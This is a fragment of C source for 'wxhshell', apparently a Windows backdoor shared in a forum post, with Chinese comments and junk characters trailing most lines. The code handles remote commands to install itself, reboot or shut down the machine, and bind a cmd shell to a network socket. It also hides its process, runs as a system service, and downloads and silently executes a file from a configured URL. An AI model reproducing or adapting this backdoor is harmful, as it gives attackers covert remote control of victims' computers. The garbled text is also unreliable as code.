  } 5;=,BWU  
  else { I2JE@?  
?(Dk{-:T'  
    switch(cmd[0]) { ^:Vwblv(  
  tWkD@w`Lnn  
  // 帮助 cX$ Pq  
  case '?': { # [c`]v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \hSOJ,{)U  
    break; ~2Jvb[IM  
  } ]$)J/L(p/]  
  // 安装 Rn={:u4  
  case 'i': { jBexEdH  
    if(Install()) MqXN,n+`k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SooSOOAx[  
    else D4?qw$"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m09 Bds  
    break; %zg&eFRHI  
    } 31b9pi}nf  
  // 卸载 /JPyADi  
  case 'r': { wTBp=)1)f  
    if(Uninstall()) q7-Eu4w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I>X_j)  
    else \D8d!gr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !2oe;q2X[G  
    break; SdF*"]t  
    } so h3 d  
  // 显示 wxhshell 所在路径 7[ )4k7  
  case 'p': { ,}%+5yH  
    char svExeFile[MAX_PATH]; U[5  
    strcpy(svExeFile,"\n\r"); D.G+*h@ g  
      strcat(svExeFile,ExeFile); ,]e!OZ[$m  
        send(wsh,svExeFile,strlen(svExeFile),0); 3^kZydZ CN  
    break; <'H^}gQow  
    } %H\i}}PTe  
  // 重启 LO8V*H(  
  case 'b': { !( xeDX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0tVZvXgTu  
    if(Boot(REBOOT)) hz8Y2Ew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >/;V_(  
    else { n m4+$GW   
    closesocket(wsh); F-%wOn /  
    ExitThread(0); z38&7+  
    } (7w`BR9B  
    break; .{as"h-.O  
    } 4}B9y3W:v  
  // 关机 7_>No*[  
  case 'd': { (JS1}T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aL@myq.  
    if(Boot(SHUTDOWN)) :| J' HCth  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b!VaEK  
    else { >W[8wR  
    closesocket(wsh); MH|!tkW>:  
    ExitThread(0); ES72yh]  
    } +5(#~  
    break; (C/2shr 8  
    } ON~jt[  
  // 获取shell [>xwwm  
  case 's': { 2<Lnfc<^k  
    CmdShell(wsh); 3A2X1V"  
    closesocket(wsh); G" &9u2k  
    ExitThread(0); X $LX;Lv  
    break; Y85M$]e,  
  } COJny/FT|  
  // 退出 f]H[uzsV  
  case 'x': { iTi]D2jC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Y `Ujr\6  
    CloseIt(wsh); \nM$qr'`B  
    break; !MoJb#B3^]  
    } t-gg,ttnA  
  // 离开 p b:mw$XQ7  
  case 'q': { YX38*Ml+V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 26|2r  
    closesocket(wsh); ?qwTOi  
    WSACleanup(); zJNiAc  
    exit(1); -d? 9Acd  
    break; 3uO#/EbS  
        } v5U\E`)s  
  } 5tI4m#y2  
  } *Q=ER  
U%3d_"{;  
  // 提示信息 jt-Cy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P]A>"-k  
} }MAvEaUd  
  } a]^hcKo4  
t3!?F(&  
  return; YnC7e2  
} We3Z#}X  
Fl\X&6k  
// shell模块句柄 Z3E957}  
int CmdShell(SOCKET sock) FHWzwi*u}  
{  ?CKINN  
STARTUPINFO si; C YA#:  
ZeroMemory(&si,sizeof(si)); 4G;FpWQm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [|PVq#(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x]|8  
PROCESS_INFORMATION ProcessInfo; ZGrjb22M  
char cmdline[]="cmd"; ?r"][<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y&T(^EA;  
  return 0; `pS<v.L3  
} 6@kKr  
4Eh 2sI  
// 自身启动模式 ?eD,\G  
int StartFromService(void) 5^lroC-(x  
{ %/!n]g-  
typedef struct 6v7H?4  
{ S'~Zlv 3`  
  DWORD ExitStatus; (.Tkv Uj`  
  DWORD PebBaseAddress; -#srn1A>  
  DWORD AffinityMask; Erz{{kf]1V  
  DWORD BasePriority; {B$cd?}  
  ULONG UniqueProcessId; gAt[kW< n  
  ULONG InheritedFromUniqueProcessId; gIv :<EJ9  
}   PROCESS_BASIC_INFORMATION; Z}_{@|  
w5uOi}T\  
PROCNTQSIP NtQueryInformationProcess; [wB-e~   
OM5"&ZIZb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m[S6pqz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -'& 4No  
9An_zrJ%i  
  HANDLE             hProcess; z-(@j;.  
  PROCESS_BASIC_INFORMATION pbi; GFd~..$  
.sNUU 3xSC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); It,m %5 Py  
  if(NULL == hInst ) return 0; JJJlgr]#  
g;)xf?A9q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); - Z?rx5V;t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ldcYw@KQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r:.5O F}  
='f<_FD  
  if (!NtQueryInformationProcess) return 0; Qd"{2>  
5fi6>>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K|$Dnma^n  
  if(!hProcess) return 0; LQ4GQ qS*  
jSbO1go#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pVe@HJy6G  
V&4)B &W  
  CloseHandle(hProcess); z7V74hRPX  
Kl.xe&t@j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .Lz\/ OS  
if(hProcess==NULL) return 0; SrzlR)  
}Y\Ayl  
HMODULE hMod; t6p}LNm(V  
char procName[255]; pQr `$:ga  
unsigned long cbNeeded; 5^'PjtW6  
V#jFjObTN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9u<4Q_I`  
=)5eui>{  
  CloseHandle(hProcess); rqk1 F~j|  
^yDCX  
if(strstr(procName,"services")) return 1; // 以服务启动 >QRpRHtb  
H?tonG.^(  
  return 0; // 注册表启动 Kd}cf0  
} J \U}U'qP  
\[&`PD  
// 主模块 ^S!^$d*  
int StartWxhshell(LPSTR lpCmdLine) sl^i%xJ|l'  
{ ~5$V8yfx h  
  SOCKET wsl; g2%&/zq/  
BOOL val=TRUE; X~XpX7d!  
  int port=0;  4"72  
  struct sockaddr_in door; *=i|E7Irg  
-E~pCN(E  
  if(wscfg.ws_autoins) Install(); ~6!{\un   
!` S ?  
port=atoi(lpCmdLine); |,CWk|G  
)f]E<*k'E  
if(port<=0) port=wscfg.ws_port; i/QE)"B"q  
c/.U<  
  WSADATA data; vwQY_J8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; prE~GO7Z  
:3F&NsgHH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }{;m:Iia_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J =o,: 3"  
  door.sin_family = AF_INET; K FV&Dt}<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ 9)9>-  
  door.sin_port = htons(port); INrl^P*  
t(/b'Peq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [FLRrTcE  
closesocket(wsl); cy|]}n85  
return 1; Nzj7e 1=  
} i6wLM-.)  
68 d\s 4  
  if(listen(wsl,2) == INVALID_SOCKET) { cA%70Y:AV  
closesocket(wsl); FyYD7E  
return 1; #W[/N|~wx  
} 2ILMf?}  
  Wxhshell(wsl); vum6O 3  
  WSACleanup(); 2\&uO   
K(RG:e~R0i  
return 0; ]~~PD?jh  
FC<aX[~&3  
} ;taTdzR_  
xe}d&  
// 以NT服务方式启动 <+D(GH};  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u'cM}y&  
{ [ L% -lJ  
DWORD   status = 0; jSVIO v:  
  DWORD   specificError = 0xfffffff; ]S+NH[g+  
P!yE{_%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D?~`L[}I!}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 82#7TX4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :lz@G 4 =C  
  serviceStatus.dwWin32ExitCode     = 0; >#).3  
  serviceStatus.dwServiceSpecificExitCode = 0; (Qmpz  
  serviceStatus.dwCheckPoint       = 0; ju#/ {V;D  
  serviceStatus.dwWaitHint       = 0; em`z=JGG  
9:zW$Gt&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |x*~PXb  
  if (hServiceStatusHandle==0) return; ` MIZqHM @  
1HYrJb,d  
status = GetLastError(); :f (UZmV$  
  if (status!=NO_ERROR) xab1`~%K  
{ 6 J[ {?,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dWV.5cViP  
    serviceStatus.dwCheckPoint       = 0; !mhV$2&r  
    serviceStatus.dwWaitHint       = 0; ,Cx @]]  
    serviceStatus.dwWin32ExitCode     = status; c!l=09a~a+  
    serviceStatus.dwServiceSpecificExitCode = specificError; K#q1/2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?EF[OyE  
    return; Gs]m; "o|  
  } $%9.qy\8  
EJ7}h?a]U_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^eke,,~  
  serviceStatus.dwCheckPoint       = 0; L+y}hb r  
  serviceStatus.dwWaitHint       = 0; &P 'cf|KI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (VeX[*}I  
} b4%sOn,  
u*:B 9E  
// 处理NT服务事件,比如:启动、停止 xgV. <^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z,AF^,H[  
{ e1a8>>bcI  
switch(fdwControl) kGm-jh  
{ *'D( j#&  
case SERVICE_CONTROL_STOP: k2{*WF  
  serviceStatus.dwWin32ExitCode = 0; 5tUp[/]pl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?pq#|PI)  
  serviceStatus.dwCheckPoint   = 0; ^PDz"L<*  
  serviceStatus.dwWaitHint     = 0; RGd@3OjN  
  { aOZSX3;wg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {RFpTh7f:  
  } +\~.cP7[  
  return; r|2Y|6@  
case SERVICE_CONTROL_PAUSE: 9m^"ca  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ktX\{g!U  
  break; L{_Q%!h3]  
case SERVICE_CONTROL_CONTINUE: _7df(+.{<A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Tjba @^T  
  break; 3e&H)  
case SERVICE_CONTROL_INTERROGATE: NzB"u+jB  
  break; JL0>-kg  
}; *@6,Sr)_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )/VhkSXbG!  
} fLM5L_S}Y  
:u$nH9kwv  
// 标准应用程序主函数 n/$1&x1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k=D_9_  
{ &&Ruy(&]I  
r(=  
// 获取操作系统版本 yH}(0  
OsIsNt=GetOsVer(); t){})nZ/4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dq d:V$o  
z|,YO6(L  
  // 从命令行安装 LLp/ SWe  
  if(strpbrk(lpCmdLine,"iI")) Install(); /[ _aw&W}Z  
]o}g~Xn  
  // 下载执行文件 :E ]Ys  
if(wscfg.ws_downexe) { hKa<9>MI`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8 nCw1   
  WinExec(wscfg.ws_filenam,SW_HIDE); ^5j+O.zgN  
} zJC!MeN  
F91uuSSL  
if(!OsIsNt) { iZsZSW \  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^e*Tg&  
HideProc(); Cu*+E%P9`  
StartWxhshell(lpCmdLine); SM%N ]/@U  
} 7wKN  
else 45g:q  
  if(StartFromService()) !h\.w9o[  
  // 以服务方式启动 b EB3 #uc  
  StartServiceCtrlDispatcher(DispatchTable); ?\|QDJXY  
else ZBw]H'sT  
  // 普通方式启动 kg0X2^#b  
  StartWxhshell(lpCmdLine); >uHU3<2&  
KtTlc#*KU  
return 0; bs_>!H1  
}
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只看该作者 1 发表于: 2006-10-10
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